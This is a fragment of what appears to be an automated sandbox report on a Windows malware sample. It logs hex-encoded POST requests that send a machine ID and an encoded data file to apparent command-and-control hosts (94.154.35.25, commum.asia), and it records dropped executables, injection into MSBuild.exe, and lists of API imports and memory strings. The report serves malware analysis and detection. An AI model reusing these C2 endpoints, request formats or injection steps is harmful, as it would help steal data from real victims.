:27:36:80:81:60:c7:eb:e5:b2:57:90:ad:73:c7:5b:e2:79:58:23:f2:58:45:19:bd:0e:7b:f8:e6:e8:0b:a4:5f:7c:2b:d1:92:e3:cd:bc:bd:c3:82:cf:ef:45:44:eb:56:82:c6:ea:f2:68:38:44:c0:ea:b7:d5:61:8c:ff:2e:85:4c:35:39:b5:93:e1:d2:41:34:d3:69:9b:18:5c:b4:ce:d8:45:b5:37:6b:5b:11:b6:36:43:e9:90:22:f2:e3:ac:8d:90:13:dc:26:ee:fd:a0:e5:27:eb:d3:d7:81:6d:41:b2:6a:d9:75:34:99:21:af:aa:ef:4d:94:0f:cd:f9:3c:c3:a3:7e:1a:8a:83:d6:0c:85:5b:09:a4:57:b6:ce:bb:cb:79:61:e9:c4:d8:81:47:b1:40:50:b6:ce:19:1a:d6:50:0a:ff:fe:77:38:42:00:76:c9:e3:fe:64:fa:88:f8:a9:26:ae:24:89:9b:4b:db:c6:8e:71:7d:7f:59:19:a8:79:c1:b5:75:ab:97:39:21:98:06:53:90:75:24:71:61:dc:f5:74:13:22:54:ec:ab:e1:83:d4:cd:c2:ab:a3:61:eb:cf:5a:01:6c:2b:92:71:01:d3:a4:32:79:56:42:1a:aa:8f:d6:19:53:55:ae:bc:b1:75:2d:0a:ef:9a:96:05:be:fb:e1:e7:8f:96:8d:ce:b8:ac:3c:6c:c7:a6:7b:32:ac:e3:74:68:b6:48:03:d7:13:9c:f1:27:79:35:7b:e9:16:70:0c:3d:64:3d:45:7d:a0:6e:70:1d:17:5b:c4:56:bf:23:00:d2:54:a6:c0:a9:a7:40:11:b9:ee:e5:b5:73:69:09:95:51:6a:48:ce:f6:96:ef:7f:98:ca:02:f4:60:93:66:71:5a:af:7f:ff:ea:95:36:a9:73:d7:6b:dc:cd:20:7a:9a:fd:82:a6:20:3b:08:ce:90:75:3e:7b:d6:ff:4c:84:2e:8e:8f:88:4e:0f:9b:0c:cb:cb:96:a6:b4:14:d9:92:7e:85:5b:f8:8f:de:87:31:8c:30:5e:3d:e8:95:0f:2c:64:9b:9f:65:9a:57:55:05:b9:92:a6:a3:d4:14:a9:97:2f:b3:ef:4d:28:88:04:f9:3e:5a:60:1d:84:5c:6e:47:1b:ee:26:7c:02:aa:1d:ea:7e:50:10:20:37:ec:14:b7:1c:f1:10:f6:2d:5f:25:0d:65:86:a4:38:74:51:7b:33:e0:52:39:fd:7c:d7:c4:de:28:22:0d:0a:2d:2d:57:36:6a:76:36:49:45:31:6c:76:33:57:41:6a:4b:6e:4f:2d:2d:0d:0a:0d:0a" HTTP/1.1 200 OK Server: nginx/1.29.1 Date: Thu 11 Sep 2025 23:12:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding with response body ==>37623A32323A36353A37323A37323A36663A37323A32323A33613A37623A32323A36353A37323A37323A36663A37323A35663A36333A36663A36343A36353A32....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:34:42:30:34:39:32:36:45:41:31:43:42:35:44:35:34:43:45:46:36:42:42:46:36:32:42:34:36:32:45:46:34:42:31:44:31:38:42:46:32:34:35:38:31:31:44:41:41:45:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /taxe HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36 Content-Length: 1095 Host: commum.asia" with payload::==> "2d:2d:36:78:4f:45:72:7a:66:38:4b:70:57:41:36:57:57:45:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:75:69:64:22:0d:0a:0d:0a:37:37:33:66:35:32:64:62:34:65:36:37:65:30:34:32:36:66:35:62:65:37:65:39:65:61:61:64:35:66:31:39:65:64:31:35:39:30:31:36:62:32:33:38:38:38:31:32:66:31:66:64:0d:0a:2d:2d:36:78:4f:45:72:7a:66:38:4b:70:57:41:36:57:57:45:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:70:69:64:22:0d:0a:0d:0a:31:0d:0a:2d:2d:36:78:4f:45:72:7a:66:38:4b:70:57:41:36:57:57:45:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:68:77:69:64:22:0d:0a:0d:0a:38:41:43:42:37:30:41:35:30:45:35:37:46:32:34:31:45:34:38:45:31:31:43:44:35:36:34:31:36:37:38:44:0d:0a:2d:2d:36:78:4f:45:72:7a:66:38:4b:70:57:41:36:57:57:45:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:66:69:6c:65:22:3b:20:66:69:6c:65:6e:61:6d:65:3d:22:64:61:74:61:22:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:61:70:70:6c:69:63:61:74:69:6f:6e:2f:6f:63:74:65:74:2d:73:74:72:65:61:6d:0d:0a:0d:0a:ad:79:c8:4c:25:38:7e:e1:b2:2d:97:7f:43:39:60:6b:26:a5:3c:7e:34:44:15:8e:0a:32:70:74:c1:52:e3:aa:67:b5:a8:da:ac:94:87:64:a8:6a:9e:79:9b:b3:cc:c8:6b:b3:3e:ec:d3:65:84:f2:0c:4f:ad:b7:0c:e6:ad:70:3d:64:59:0d:b4:93:8a:3a:2c:16:1e:c9:58:67:72:c3:7b:36:98:8c:e6:bb:9a:0f:51:ff:e1:07:b2:d4:31:b9:32:08:33:da:9a:e1:34:1b:73:c3:36:2f:95:e5:43:62:ff:2b:bc:05:7b:0c:41:c1:c1:e5:b5:88:02:72:33:f2:c4:28:de:0c:9f:7d:b4:90:7b:4f:8f:ff:c9:14:2d:1d:61:43:9d:b1:52:95:83:f3:aa:a1:db:ce:28:4c:08:d3:f4:10:44:90:23:2e:db:95:ff:b4:43:a4:29:97:a9:b9:8a:01:45:76:72:57:f9:3d:b0:3e:93:4b:a3:1d:38:16:87:5b:21:c8:c5:7e:cb:4d:ef:da:0c:73:b4:1b:d5:0a:6d:e1:51:61:46:3f:25:41:f3:61:e1:93:43:cb:d0:25:6b:f0:51:29:bf:d1:89:80:c9:da:e8:fb:fd:65:00:81:7e:a3:58:0c:fc:b6:4f:f7:60:48:87:eb:16:f1:a9:22:d2:76:a8:44:e1:b5:ae:77:0b:0d:87:b9:96:2c:cc:19:8f:8b:13:d9:01:5c:6c:fc:e9:2a:9c:3e:2c:32:ef:34:de:0a:87:8d:aa:18:af:2d:89:6c:ee:0b:19:d6:3b:9f:69:a0:94:28:e0:95:cd:bf:b4:ee:27:28:b9:8c:04:bf:be:a1:43:94:2e:f6:a6:a7:58:c3:f4:d8:72:95:87:0a:bc:32:c2:43:7b:5d:55:01:3e:c3:02:33:b9:02:68:58:a4:ae:04:12:e7:9f:72:b3:e6:32:2f:05:2c:48:40:f9:66:04:1b:4a:63:74:d9:c9:1e:f8:f4:d6:12:51:f9:fe:1c:6d:ec:ee:2b:59:59:f9:d5:7d:e8:f0:d0:0b:c1:64:4c:e8:ee:6e:ef:e9:b9:f8:e7:5b:62:c7:91:5c:a7:8a:b1:95:8b:ee:bb:64:d0:2d:6b:d3:f2:06:9a:68:c1:d4:46:6d:96:63:ca:27:81:a3:60:b3:8a:38:e9:0a:67:f5:b3:a6:90:13:22:3a:2f:50:93:2b:68:18:f9:fd:91:c9:a4:20:38:b5:26:e1:f0:ec:3e:21:2c:46:24:56:85:1b:98:d4:59:e2:36:68:f2:28:ad:db:f1:9a:9c:c7:71:6f:45:c9:2f:1b:93:14:d1:cd:1a:bc:6f:3c:8c:0d:b6:c5:ab:52:a5:d6:47:ee:76:88:8c:d5:ed:e1:2a:39:bd:7b:35:f4:e6:3b:5d:c3:21:99:c0:5c:27:c6:b1:e5:f7:2c:e5:79:38:7e:43:9f:7a:62:2c:b0:28:6c:96:43:44:be:df:a6:f0:05:52:0f:31:8a:dd:c6:5c:12:73:ab:1a:01:11:af:5a:0e:8f:2e:91:4b:e2:8b:15:6a:7e:97:50:39:6b:44:5a:54:40:c5:0f:11:91:57:b4:ab:1c:72:ea:3f:29:7a:3d:21:42:a4:39:8d:7b:67:49:a6:4a:5b:d7:dc:f4:da:0a:c8:36:d4:d2:ac:d6:85:06:c7:ef:a2:a3:27:6c:c3:00:4d:cf:03:7a:ea:3d:07:67:59:ca:17:d2:0d:0a:2d:2d:36:78:4f:45:72:7a:66:38:4b:70:57:41:36:57:57:45:2d:2d:0d:0a:0d:0a" HTTP/1.1 200 OK Server: nginx/1.29.1 Date: Thu 11 Sep 2025 23:12:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding with response body ==>37623A32323A36353A37323A37323A36663A37323A32323A33613A37623A32323A36353A37323A37323A36663A37323A35663A36333A36663A36343A36353A32....... "POST /taxe HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36 Content-Length: 99 Host: commum.asia" with payload::==> "75:69:64:3d:37:37:33:66:35:32:64:62:34:65:36:37:65:30:34:32:36:66:35:62:65:37:65:39:65:61:61:64:35:66:31:39:65:64:31:35:39:30:31:36:62:32:33:38:38:38:31:32:66:31:66:64:26:63:69:64:3d:26:68:77:69:64:3d:38:41:43:42:37:30:41:35:30:45:35:37:46:32:34:31:45:34:38:45:31:31:43:44:35:36:34:31:36:37:38:44" HTTP/1.1 200 OK Server: nginx/1.29.1 Date: Thu 11 Sep 2025 23:12:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding with response body ==>37623A32323A36353A37323A37323A36663A37323A32323A33613A37623A32323A36353A37323A37323A36663A37323A35663A36333A36663A36343A36353A32....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:34:42:30:34:39:32:36:45:41:31:43:42:35:44:35:34:43:45:46:36:42:42:46:36:32:42:34:36:32:45:46:34:42:31:44:31:38:42:46:32:34:35:38:31:31:44:41:41:45:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:34:42:30:34:39:32:36:45:41:31:43:42:35:44:35:34:43:45:46:36:42:42:46:36:32:42:34:36:32:45:46:34:42:31:44:31:38:42:46:32:34:35:38:31:31:44:41:41:45:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:34:42:30:34:39:32:36:45:41:31:43:42:35:44:35:34:43:45:46:36:42:42:46:36:32:42:34:36:32:45:46:34:42:31:44:31:38:42:46:32:34:35:38:31:31:44:41:41:45:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "72:3d:42:34:38:33:33:32:35:39:39:36:43:42:45:32:44:39:30:46:34:34:41:46:43:41:34:42:36:37:33:43:30:35:33:44:41:37:30:36:42:35:38:44:38:34:42:34:45:46:41:38:42:32:43:39:37:39:43:37:31:35:31:46:42:31:34:30:42:45:31:44:34:36:34:35:30:46:43:39:44:44:46:36:34:32:45:33:42:44:44:37:30:41:31:34:42:30:34:39:32:36:45:41:31:43:42:35:44:35:34:43:45:46:36:42:42:46:36:32:42:34:36:32:45:46:34:42:31:44:31:38:42:46:32:34:35:38:31:31:44:41:41:45:35:42:38:43:34:32:43:38:44:39:45:33:35:45:42:37:39:39:33:35:37:42:43:30:31:35:42:39:36:39:41:31" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33633A36343A3365....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "73:74:3d:73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>32303A33633A36333A33653A33333A33633A36343A3365.......45:T42d,"bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "bounty-38813904328784694.exe" reads file "C:\Users\desktop.ini"46:T6ba,"bounty-38813904328784694.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\random[1].exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010600 ... "bounty-38813904328784694.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\10716570101\cde4308e66.exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010600 ... "bounty-38813904328784694.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\random[1].exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e2400005045000064ff0700 ... "bounty-38813904328784694.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\10716580101\adc663ab13.exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e2400005045000064ff0700 ...47:T42b,RegOpenKeyExA RegCloseKey LookupAccountNameA GetUserNameA OpenProcessToken CreateDirectoryA VirtualAlloc Sleep GetTempPathA GetModuleFileNameA ReadProcessMemory CreateThreadpoolWork GetThreadContext Process32FirstW CreateFileA GetComputerNameExW CreateThread WriteProcessMemory TerminateProcess Process32NextW GetModuleHandleW WriteFile SleepConditionVariableSRW LoadLibraryExW CreateFileW GetModuleHandleExW SleepConditionVariableCS GetModuleHandleA OpenProcess GetProcAddress IsDebuggerPresent GetModuleFileNameW CreateProcessA CreateToolhelp32Snapshot GetFileSizeEx FindFirstFileExW DeleteFileW GetVersionExW GetCommandLineA UnhandledExceptionFilter GetStartupInfoW FindNextFileW GetFileAttributesA GetSystemInfo GetCommandLineW GetDriveTypeW VirtualAllocEx ShellExecuteA HttpSendRequestA InternetConnectA InternetOpenW InternetOpenA InternetReadFile InternetOpenUrlA InternetWriteFile InternetCloseHandle HttpSendRequestExA WSAStartup send connect socket closesocket recv VirtualProtect GetTickCount48:T4c0,"bounty-38813904328784694.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\10716570101\cde4308e66.exe" (Handle: 1536) "adc663ab13.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" (Handle: 328) "adc663ab13.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" (Handle: 328) "adc663ab13.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" (Handle: 328) "adc663ab13.exe" wrote 00000400 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" (Handle: 328) "adc663ab13.exe" wrote 0004F000 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" (Handle: 328) "adc663ab13.exe" wrote 00002000 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" (Handle: 328) "adc663ab13.exe" wrote 00003C00 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" (Handle: 328) "adc663ab13.exe" wrote 00003400 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" (Handle: 328)49:T67f,Found string "compression %u not supported" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "SSL - Processing of the compression / decompression failed" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "client hello, compression" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "server hello, bad compression: %d" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "Unknown compression method in IHDR" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "bad compression method" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "unknown compression type" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "bad compression info" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "Invalid iCCP compression method" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "text compression mode is out of range" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "invalid compression buffer size" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "unknown compression method" (Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "dd_dotnet48_decompression_log.txt" (Source: "00000000-00004328.00000000.294363.00160000.00000004.mdmp") Found string "dd_ndp471-kb4033342-x86-x64-allos-enu_decompression_log.txt" (Source: "00000000-00004328.00000000.294363.00160000.00000004.mdmp")4a:Te7a,Found reference to "Server used unsupported HashAlgorithm %d" (Indicator: "HashAlgorithm"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to "server used HashAlgorithm that was not offered" (Indicator: "HashAlgorithm"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to "Server used HashAlgorithm %d" (Indicator: "HashAlgorithm"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to "HMAC_DRBG - Too many random requested in single call" (Indicator: "HMAC"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to "HMAC_DRBG - Input too large (Entropy + additional)" (Indicator: "HMAC"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to "HMAC_DRBG - Read/write error in file" (Indicator: "HMAC"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to "HMAC_DRBG - The entropy source failed" (Indicator: "HMAC"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to "HMAC_DRBG - The entropy source failed" (Indicator: "HMAC"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "HMAC_DRBG - Read/write error in file" (Indicator: "HMAC"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "HMAC_DRBG - Input too large (Entropy + additional)" (Indicator: "HMAC"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "HMAC_DRBG - Too many random requested in single call" (Indicator: "HMAC"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "pbeWithSHAAnd2-KeyTripleDES-CBC" (Indicator: "TripleDES"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "pbeWithSHAAnd3-KeyTripleDES-CBC" (Indicator: "TripleDES"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "ECDSA with SHA512" (Indicator: "SHA512"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "ecdsa-with-SHA512" (Indicator: "SHA512"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "ECDSA with SHA384" (Indicator: "SHA384"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "ecdsa-with-SHA384" (Indicator: "SHA384"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "TLS-ECDH-ECDSA-WITH-AES-256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "TLS-ECDH-ECDSA-WITH-AES-256-CBC-SHA384" (Indicator: "SHA384"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "TLS-ECDH-RSA-WITH-AES-256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "TLS-ECDH-RSA-WITH-AES-256-CBC-SHA384" (Indicator: "SHA384"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "TLS-RSA-WITH-AES-256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "TLS-ECDHE-RSA-WITH-AES-256-CBC-SHA384" (Indicator: "SHA384"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to "TLS-ECDHE-ECDSA-WITH-AES-256-GCM-SHA384" (Indicator: "SHA384"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp")4b:T4ee,Found reference to API "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "bounty-38813904328784694") Found reference to API "CryptAcquireContextW" (Indicator: "CryptAcquireContext"; File: "bounty-38813904328784694") Found reference to API "CertCloseStore" (Indicator: "CertCloseStore"; File: "bounty-38813904328784694") Found reference to API "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "bounty-38813904328784694") Found reference to API "CertFindCertificateInStore" (Indicator: "CertFindCertificateInStore"; File: "bounty-38813904328784694") Found reference to API "CryptDecrypt" (Indicator: "CryptDecrypt"; File: "bounty-38813904328784694") Found reference to API "CryptDestroyKey" (Indicator: "CryptDestroyKey"; File: "bounty-38813904328784694") Found reference to API "CryptHashData" (Indicator: "CryptHashData"; File: "bounty-38813904328784694") Found reference to API "CryptDeriveKey" (Indicator: "CryptDeriveKey"; File: "bounty-38813904328784694") Found reference to API "CryptCreateHash" (Indicator: "CryptCreateHash"; File: "bounty-38813904328784694") Found reference to API "CryptAcquireContext" (Indicator: "CryptAcquireContext"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp")4c:Tea0,Found string "File containing the RSA private key." (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "got no private key for certificate" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "got no private key" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "got no RSA private key" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "-----END PUBLIC KEY-----" (Indicator: "public key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "-----BEGIN 